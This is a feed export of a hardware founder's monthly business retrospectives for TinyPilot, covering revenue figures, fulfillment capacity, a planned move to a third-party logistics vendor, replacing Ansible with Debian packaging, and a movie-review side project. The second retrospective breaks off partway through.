 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and in my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot generated $112k of monthly revenue, breaking the six-figure mark for the first time ever.&lt;/li>
&lt;li>I grossly overestimated how much spare capacity TinyPilot&amp;rsquo;s fulfillment team had.&lt;/li>
&lt;li>Long-term tasks can be a canary for impending resource exhaustion.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and in my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot generated $112k of monthly revenue, breaking the six-figure mark for the first time ever.&lt;/li>
&lt;li>I grossly overestimated how much spare capacity TinyPilot&amp;rsquo;s fulfillment team had.&lt;/li>
&lt;li>Long-term tasks can be a canary for impending resource exhaustion.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="prepare-to-transition-tinypilots-fulfillment-to-a-3pl-vendor">Prepare to transition TinyPilot&amp;rsquo;s fulfillment to a 3PL vendor&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Started the onboarding process with a single, low-volume product&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I underestimated how much spare capacity the local staff would have to work on this. Combined with an unexpected spike in sales, we didn&amp;rsquo;t make progress adapting our in-house fulfillment workflow to a 3PL vendor. Still, we can move forward with an imperfect process and improve it as the 3PL vendor frees up our time.&lt;/p>
&lt;h3 id="continue-onboarding-new-support-engineers">Continue onboarding new support engineers&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Both support engineers are answering around 80% of support tickets unassisted.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>The support engineering team is becoming more effective than I expected. In addition to handling advanced support requests, the support engineers have been doing deep investigations to reduce bugs from occurring in the first place and improving TinyPilot&amp;rsquo;s diagnostic logging.&lt;/p>
&lt;h3 id="reduce-projects-where-im-in-the-critical-path">Reduce projects where I&amp;rsquo;m in the critical path&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;ve resisted the urge to initiate any new projects.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>Launching a new TinyPilot model always requires a lot of my time. I&amp;rsquo;ve been through this process enough to anticipate a lot of the work, but I also know that no matter how much planning I do, there will always be work I fail to anticipate. Even though there are days I feel like I have some spare bandwidth, I&amp;rsquo;m trying to keep as much of my time free as possible.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2022&lt;/th>
 &lt;th>November 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,994&lt;/td>
 &lt;td>9,512&lt;/td>
 &lt;td>&lt;font color="green">+1,518 (+19%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>17,862&lt;/td>
 &lt;td>20,387&lt;/td>
 &lt;td>&lt;font color="green">+2,525 (+14%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$85,834.20&lt;/td>
 &lt;td>$107,223.10&lt;/td>
 &lt;td>&lt;font color="green">+$21,388.90 (+25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$5,544.12&lt;/td>
 &lt;td>$4,402.50&lt;/td>
 &lt;td>&lt;font color="red">-$1,141.62 (-21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$91,669.02&lt;/td>
 &lt;td>$111,916.30&lt;/td>
 &lt;td>&lt;font color="green">+$20,247.28 (+22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$26,042.39&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$7,407.30&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$18,635.09 (-72%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>TinyPilot hit another all-time high in sales, reaching $112k in total revenue. This is TinyPilot&amp;rsquo;s first month ever crossing the six-figure mark.&lt;/p>
&lt;p>The jump was largely due to TinyPilot receiving a positive mention on &lt;a href="https://youtu.be/232opnNPGNo">Linus Tech Tips&lt;/a>, one of the most popular YouTube channels for homelab enthusiasts. Even though the review was primarily about our competitor&amp;rsquo;s product, the channel has so many subscribers that TinyPilot saw a sizable surge in orders for the following two weeks.&lt;/p>
&lt;p>I&amp;rsquo;m happy to see three-month trailing profit staying comfortably in the positive, even amid atypically high costs. TinyPilot is paying a premium to 3D-print cases &lt;a href="https://mtlynch.io/retrospectives/2022/11/#the-race-for-more-cases">beyond our normal capacity&lt;/a>, but our costs should drop significantly in January when we switch to metal cases.&lt;/p>
&lt;h2 id="we-dont-have-enough-time-to-save-ourselves-time">We don&amp;rsquo;t have enough time to save ourselves time&lt;/h2>
&lt;p>One of the goals for November was to begin transitioning fulfillment to a third-party logistics (3PL) vendor. I asked a member of the fulfillment team to review our workflows and prepare to hand them over to a 3PL vendor.&lt;/p>
&lt;p>The next week, we saw a spike in orders from the Linus Tech Tips video, so there was no progress on researching the transition to 3PL. And then two weeks later, we were still catching up from the sales spike, so there was no additional progress.&lt;/p>
&lt;p>The next time I met with the member of the fulfillment staff, I asked how much spare capacity we normally have for atypical tasks like this, and I was surprised to learn that it was roughly zero. The fulfillment team&amp;rsquo;s short-term tasks of assembling devices, shipping out orders, and responding to support requests was enough to occupy all of their hours for the week.&lt;/p>
&lt;p>This is a familiar situation, though usually, the person with no short-term capacity is me.&lt;/p>
&lt;p>For any workflow, there are generally obvious ways to free up time. It could be automation, hiring additional people, moving to a managed service, etc. The catch is that there&amp;rsquo;s a frictional cost to changing a workflow.&lt;/p>
&lt;p>For the past few months, I&amp;rsquo;ve been drawing &lt;a href="https://mtlynch.io/retrospectives/2022/10/#does-outsourcing-increase-or-decrease-complexity">beautiful&lt;/a> &lt;a href="https://mtlynch.io/retrospectives/2022/09/#remember-how-time-consuming-it-is">graphs&lt;/a> of time commitment for outsourcing and delegation. In that spirit, here&amp;rsquo;s the amount of time I spend on a task before and after I hire someone to take it over:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/12/outsourcing-1.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/12/outsourcing-1_hu_5eb04702953c7704.png 300w, https://mtlynch.io/retrospectives/2022/12/outsourcing-1_hu_f39cd64c20a6db80.png 600w, https://mtlynch.io/retrospectives/2022/12/outsourcing-1_hu_1feb605e1be4078d.png 800w, https://mtlynch.io/retrospectives/2022/12/outsourcing-1.png 1019w'
 src="https://mtlynch.io/retrospectives/2022/12/outsourcing-1.png" alt="Graph showing time commitment increasing as I interview and onboard someone, then slowly decrease as they take over the task." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>At the beginning, the task is time-consuming because I&amp;rsquo;m doing all the work myself. When I hire someone, I&amp;rsquo;m doing even more work because I still have to do the task myself in addition to the work of hiring and training a new person. I eventually reach net savings when the new hire is fully trained, but that can take weeks or months, depending on the task&amp;rsquo;s complexity.&lt;/p>
&lt;p>In practice, there are only so many hours in the day. What happens if I take into account the limits of my working hours?&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/12/outsourcing-2.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/12/outsourcing-2_hu_66d5af7b0e30bb43.png 300w, https://mtlynch.io/retrospectives/2022/12/outsourcing-2_hu_3b8181d455cf0ca4.png 600w, https://mtlynch.io/retrospectives/2022/12/outsourcing-2_hu_af6a4352db4fcf96.png 800w, https://mtlynch.io/retrospectives/2022/12/outsourcing-2.png 1019w'
 src="https://mtlynch.io/retrospectives/2022/12/outsourcing-2.png" alt="Graph showing time commitment taking into account a ceiling on hours per day, where I&amp;#39;m unable to hire someone because I don&amp;#39;t have enough spare capacity." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Whoops, now I can&amp;rsquo;t reach the post-hiring state because I don&amp;rsquo;t have available short-term capacity to hire and train someone. I don&amp;rsquo;t have enough time to save myself time.&lt;/p>
&lt;h2 id="using-long-term-tasks-as-an-early-warning-for-exhaustion">Using long-term tasks as an early warning for exhaustion&lt;/h2>
&lt;p>The delay in switching to a 3PL vendor made me realize I need a better early warning system for running out of spare capacity.&lt;/p>
&lt;p>My best idea is to be more conscientious about balancing everyone&amp;rsquo;s short- and long-term tasks. For example, the support engineers&amp;rsquo; urgent responsibility is responding to customer support requests on the TinyPilot help forum and on our CRM platform. Support volume ebbs and flows, so when the support engineers have spare time, they look for recurring patterns in support requests and publish &lt;a href="https://web.archive.org/web/20230606130531/https://tinypilotkvm.com/faq">help articles&lt;/a> or investigate deeper bugfixes.&lt;/p>
&lt;p>Everyone at TinyPilot has a mix of short- and long-term tasks:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Team&lt;/th>
 &lt;th>Short-term tasks&lt;/th>
 &lt;th>Long-term tasks&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Founder&lt;/td>
 &lt;td>Team management&lt;br>Vendor management&lt;br>Reviewing work&lt;br>Filling gaps in responsibilities&lt;/td>
 &lt;td>Marketing&lt;br>Public writing&lt;br>Re-evaluating strategy&lt;br>Hiring and training&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Fulfillment staff&lt;/td>
 &lt;td>Assembling devices&lt;br>Fulfilling orders&lt;br>Customer service&lt;/td>
 &lt;td>Creating customer support playbooks&lt;br>Assisting in marketing&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Support engineers&lt;/td>
 &lt;td>Answering technical support questions&lt;/td>
 &lt;td>Writing documentation&lt;br>Writing blog posts&lt;br>Investigating difficult bugs&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Software developers&lt;/td>
 &lt;td>Releasing new features&lt;br>Fixing urgent bugs&lt;/td>
 &lt;td>Refactoring code&lt;br>Improving development experience&lt;br>Creating automated tests&lt;br>Fixing non-urgent bugs&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Long-term tasks can act as the canary in the coal mine. When a team&amp;rsquo;s progress on long-term tasks slows over time, they&amp;rsquo;re likely approaching their maximum capacity. At that point, I should find ways to reduce load by decreasing responsibilities or adding capacity.&lt;/p>
&lt;p>There are two challenges with using long-term tasks as a warning sign. The first is that the team who&amp;rsquo;s most frequently ignoring their long-term tasks is the founder team, by which I mean me. When I&amp;rsquo;m overloaded, I won&amp;rsquo;t notice a slowdown on other teams&amp;rsquo; long-term tasks. Even if I do, I don&amp;rsquo;t have time to do anything about it. I suppose the solution is to be more vigilant about the number of projects I take on so I can leave spare capacity for switching costs.&lt;/p>
&lt;p>The other problem is that the fulfillment team has the least obvious set of long-term tasks. Our manufacturing and fulfillment processes aren&amp;rsquo;t the kind of workflows you can improve every week. But as we shift fulfillment and manufacturing to third-party vendors, the fulfillment team&amp;rsquo;s responsibilities will shift to customer support. Customer support has a more natural balance between the short-term work of answering support requests and the long-term work of refining our internal playbooks.&lt;/p>
&lt;h2 id="getting-out-of-the-ansible-hole">Getting out of the Ansible hole&lt;/h2>
&lt;p>&lt;a href="https://github.com/ansible/ansible">Ansible&lt;/a> is a tool for configuring servers automatically. I&amp;rsquo;ve been using it for seven years, and it&amp;rsquo;s how I manage all the &lt;a href="https://mtlynch.io/building-a-vm-homelab/">virtual machines in my homelab&lt;/a>.&lt;/p>
&lt;p>When I started work on TinyPilot back in 2020, I needed a way to deploy code onto my Raspberry Pi and configure the OS functionality TinyPilot needed. Ansible was a good fit since remote system configuration is Ansible&amp;rsquo;s bread and butter.&lt;/p>
&lt;p>When I published TinyPilot, the easiest way for me to let users install it was to replicate the workflow I used during development. I created &lt;a href="https://github.com/tiny-pilot/tinypilot/blob/2a97cf02bd6e032a2fc60846d7d2c60be92c7c74/quick-install">a simple install script&lt;/a> that bootstrapped an Ansible environment and then installed TinyPilot via Ansible.&lt;/p>
&lt;p>At the time, I knew that the more conventional installation would have been to use Debian packages. The problem was that I didn&amp;rsquo;t know anything about creating Debian packages, and they seemed like a lot of work. Would I have to set up my own apt repository? Do I have to manage repo keys? TinyPilot depended on nginx, so how was I supposed to configure nginx from my own package?&lt;/p>
&lt;p>Two and a half years later, the dev team is paying the price for my choice of Ansible. As TinyPilot has developed more features, our Ansible configuration has become painfully complex. If the installer was a pure shell script or Debian package, installation would probably take 10-20 seconds. Instead, all the overhead from Ansible drives the install and update time to six minutes or more.&lt;/p>
&lt;p>Beyond the impact on the end-user, Ansible has a tendency to swallow up development resources. Ansible code is slow and tedious to debug, especially when dealing with operating systems and architectures that aren&amp;rsquo;t available in our continuous integration environment. Minor changes frequently balloon to a week of dev time.&lt;/p>
&lt;p>In the last few months, the dev team has been exploring how we can port our Ansible code to a Debian package for TinyPilot. I&amp;rsquo;m happy to report that we now have &lt;a href="https://github.com/tiny-pilot/tinypilot/tree/437adc28e4a956be13bc994d23d278b4ca7fd31b/debian-pkg">a foothold&lt;/a>. We&amp;rsquo;ve created a hybrid solution where TinyPilot&amp;rsquo;s Ansible role installs the latest TinyPilot Debian package. This makes it easier for us to chip away incrementally at our Ansible code and move it to our Debian package.&lt;/p>
&lt;p>Here are the things I wish I&amp;rsquo;d known about Debian when I started work on TinyPilot:&lt;/p>
&lt;ul>
&lt;li>You can create and distribute standalone Debian packages without running your own apt repository.&lt;/li>
&lt;li>Creating a simple Debian package takes 15 minutes if you&amp;rsquo;re following &lt;a href="https://earthly.dev/blog/creating-and-hosting-your-own-deb-packages-and-apt-repo/">the right tutorial&lt;/a>.&lt;/li>
&lt;li>You can &lt;a href="https://github.com/tiny-pilot/janus-debian/blob/e29efc6ee3585cc01a22d1263863ed4f57325080/.circleci/config.yml#L15L63">use Docker QEMU&lt;/a> to build ARM Debian packages from x64 systems.&lt;/li>
&lt;li>If your code is in a portable language like Python, you can skip QEMU and build an architecture-independent Debian package.&lt;/li>
&lt;li>If your package needs to configure another package, the typical way to do it is by adding a file to a configuration directory rather than tinkering with files the other package owns.
&lt;ul>
&lt;li>For example, a TinyPilot Debian package could configure nginx by adding a file to the &lt;code>/etc/nginx/sites-enabled/&lt;/code> directory.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>The hardest part of learning Debian was finding useful information amid all the noise. A lot of the resources basically say, &amp;ldquo;Just read &lt;a href="https://www.debian.org/doc/manuals/debmake-doc/">the 9,000-page Debian maintainer&amp;rsquo;s guide&lt;/a>, but ignore the parts that are out of date.&amp;rdquo;&lt;/p>
&lt;p>The guides I found most helpful were:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://earthly.dev/blog/creating-and-hosting-your-own-deb-packages-and-apt-repo/">&amp;ldquo;Creating and hosting your own deb packages and apt repo&amp;rdquo;&lt;/a> by Alex Couture-Beil&lt;/li>
&lt;li>&lt;a href="https://vincent.bernat.ch/en/blog/2019-pragmatic-debian-packaging">&amp;ldquo;Pragmatic Debian packaging&amp;rdquo;&lt;/a> by Vincent Bernat&lt;/li>
&lt;/ul>
&lt;p>Vincent was even kind enough to &lt;a href="https://m.mtlynch.io/@vbernat@hachyderm.io/109369842244090259">hop on a video call with me&lt;/a> to answer some of my remaining questions about Debian packages.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="screenjournal">&lt;a href="https://github.com/mtlynch/screenjournal">ScreenJournal&lt;/a>&lt;/h3>
&lt;p>I watch a lot of TV shows and movies, and I enjoy making recommendations to friends, but I often forget what show or movie I want to recommend.&lt;/p>
&lt;p>I&amp;rsquo;ve checked around for apps that let you track movies and TV the same way you&amp;rsquo;d track reading with Goodreads, but nothing matched what I had in mind. I feel like my friends are exhausted from social apps that default to public, so I wanted something that lets you create a small community of friends who want to share recommendations. Less like Twitter, more like Discord.&lt;/p>
&lt;p>I&amp;rsquo;ve started working on an app for sharing movie reviews with friends. It&amp;rsquo;s called &lt;a href="https://github.com/mtlynch/screenjournal">ScreenJournal&lt;/a>:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/12/screenjournal.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/12/screenjournal_hu_db7bc064ebf444da.png 300w, https://mtlynch.io/retrospectives/2022/12/screenjournal_hu_635237dee5e2474d.png 600w, https://mtlynch.io/retrospectives/2022/12/screenjournal_hu_7004edbcfe7c1af9.png 800w, https://mtlynch.io/retrospectives/2022/12/screenjournal_hu_24b61d001cc82a19.png 1200w, https://mtlynch.io/retrospectives/2022/12/screenjournal.png 1701w'
 src="https://mtlynch.io/retrospectives/2022/12/screenjournal.png" alt="Screenshot of my movie reviews on ScreenJournal" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://github.com/mtlynch/screenjournal">ScreenJournal&lt;/a> is like Goodreads but for couch potatoes.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s not quite ready for prime time yet, as the reviews are private, and it only supports a single user. Right now, it&amp;rsquo;s only effective as a private movie journal for one person, but the next feature on my list is support for multiple users.&lt;/p>
&lt;p>User management is notoriously hard to get right, so I&amp;rsquo;ve always avoided rolling my own implementation. For the past few years, I&amp;rsquo;ve used my friend &lt;a href="https://twitter.com/jupiterunknown">David Toth&lt;/a>&amp;rsquo;s &lt;a href="https://userkit.io">UserKit&lt;/a> service to manage users. UserKit has been great, but it&amp;rsquo;s not open to the public yet, which makes it impractical for other developers who want to run ScreenJournal on their servers.&lt;/p>
&lt;p>I looked for an open-source user management framework for Go, but the majority relied on OAuth from external services, which I didn&amp;rsquo;t want. The rest were so heavyweight and complicated that I didn&amp;rsquo;t want to bother.&lt;/p>
&lt;p>Instead, I&amp;rsquo;m living dangerously and rolling my own user management. For session management, I&amp;rsquo;m using &lt;a href="https://github.com/abraithwaite/jeff">jeff&lt;/a>, and for authentication, I&amp;rsquo;m going to use &lt;a href="https://pkg.go.dev/golang.org/x/crypto/bcrypt">bcrypt&lt;/a> and hope for the best.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Started the onboarding process with a 3PL vendor.&lt;/li>
&lt;li>Improved TinyPilot&amp;rsquo;s Debian package in several important ways.&lt;/li>
&lt;li>Found a better payment platform for international contractors.
&lt;ul>
&lt;li>Deel has been a poor experience, and I wasn&amp;rsquo;t crazy about Remote.com, so we&amp;rsquo;re going with &lt;a href="https://pilot.co">Pilot&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Long-term tasks are a good leading indicator of resource exhaustion.
&lt;ul>
&lt;li>If a team&amp;rsquo;s progress on long-term tasks slows consistently, it&amp;rsquo;s important to address it before you&amp;rsquo;re out of breathing room to switch processes.&lt;/li>
&lt;li>It&amp;rsquo;s especially important for a founder to keep time for long-term tasks because they otherwise can&amp;rsquo;t respond effectively to resource exhaustion on other teams.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Debian packaging isn&amp;rsquo;t as intimidating as it first seems.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Fulfill the first order from our 3PL vendor.&lt;/li>
&lt;li>Reach code complete on the next TinyPilot Pro release.&lt;/li>
&lt;li>Prepare for a January launch of TinyPilot Voyager 2a.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 28</title><link>https://mtlynch.io/retrospectives/2022/11/</link><pubDate>Tue, 15 Nov 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/11/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and in my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot had a new record month in sales, reaching $92k in revenue for October.&lt;/li>
&lt;li>I think I&amp;rsquo;ve found a third-party logistics vendor that&amp;rsquo;s a good match for TinyPilot.&lt;/li>
&lt;li>I&amp;rsquo;m scrambling to produce more cases before they become a sales bottleneck.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and in my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot had a new record month in sales, reaching $92k in revenue for October.&lt;/li>
&lt;li>I think I&amp;rsquo;ve found a third-party logistics vendor that&amp;rsquo;s a good match for TinyPilot.&lt;/li>
&lt;li>I&amp;rsquo;m scrambling to produce more cases before they become a sales bottleneck.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="ramp-up-new-support-engineers">Ramp up new support engineers&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The team ramp-up feels ahead of my expectations&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I was aiming for the first engineer to answer 80% of questions unassisted and the second 50%. I haven&amp;rsquo;t measured precisely, but we&amp;rsquo;re roughly there.&lt;/p>
&lt;p>We had a one-week period of record support requests, and the team managed to answer almost all of them within our target response times. The team also published three new tutorials on the TinyPilot website and wiki.&lt;/p>
&lt;h3 id="start-production-on-a-second-metal-case-prototype">Start production on a second metal case prototype&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We&amp;rsquo;re still designing the second prototype&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I underestimated the turnaround time a redesign would take. With our 3D printing vendor, design changes typically take a few days, at most. Design iterations on the metal case have taken multiple weeks.&lt;/p>
&lt;p>I&amp;rsquo;m not sure if it&amp;rsquo;s just greater difficulties of designing with metal or if the metal designers have less bandwidth for this project, but it&amp;rsquo;s definitely an adjustment from 3D printing.&lt;/p>
&lt;h3 id="reach-out-to-three-3pl-vendors-to-talk-about-the-process-of-transitioning-our-fulfillment">Reach out to three 3PL vendors to talk about the process of transitioning our fulfillment&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Reached out to six 3PL vendors&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Of the six vendors I approached, two ended up being a good match for what I want. I&amp;rsquo;m hoping to transition fulfillment to one of these 3PL vendors in December.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2022&lt;/th>
 &lt;th>October 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>9,040&lt;/td>
 &lt;td>7,994&lt;/td>
 &lt;td>&lt;font color="red">-1,046 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>17,608&lt;/td>
 &lt;td>17,862&lt;/td>
 &lt;td>&lt;font color="green">+254 (+1%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$68,640.50&lt;/td>
 &lt;td>$85,834.20&lt;/td>
 &lt;td>&lt;font color="green">+$17,193.70 (+25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$242.95&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>&lt;font color="green">+$47.75 (+20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$3,440.90&lt;/td>
 &lt;td>$5,544.12&lt;/td>
 &lt;td>&lt;font color="green">+$2,103.22 (+61%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$72,324.35&lt;/td>
 &lt;td>$91,669.02&lt;/td>
 &lt;td>&lt;font color="green">+$19,344.67 (+27%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$5,337.82&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">$26,042.39&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$31,380.21 (+inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>October marked another all-time record for TinyPilot&amp;rsquo;s sales. TinyPilot had $86k in sales, beating its previous record by almost $10k. Our profit is way up, but that&amp;rsquo;s a bit noisy month-to-month, so I&amp;rsquo;ll focus on the $14k trailing average profit from the last three months.&lt;/p>
&lt;p>October put TinyPilot in the black for the year, and I&amp;rsquo;m optimistic that we&amp;rsquo;ll end the year in the neighborhood of $20-40k in profit, on track to earn $15-20k per month in 2023.&lt;/p>
&lt;p>For better or for worse, this is all happening while I put zero effort into marketing. I&amp;rsquo;ve been spending all of my time ramping up new hires and scaling production to meet our growing demand. Google Ads are on auto-pilot and are adding about $15k of revenue per month at a cost of $5k, but TinyPilot is otherwise not advertising.&lt;/p>
&lt;h2 id="exploring-the-world-of-3pl-vendors">Exploring the world of 3PL vendors&lt;/h2>
&lt;p>&amp;ldquo;3PL&amp;rdquo; is the shorthand term for a third-party logistics provider. A 3PL vendor serves as a warehouse and fulfillment center for other businesses. Basically, they store my products, and when an order comes in, we forward it to our 3PL vendor, they pick our products off the shelves, pack them into a box, and send it to the customer.&lt;/p>
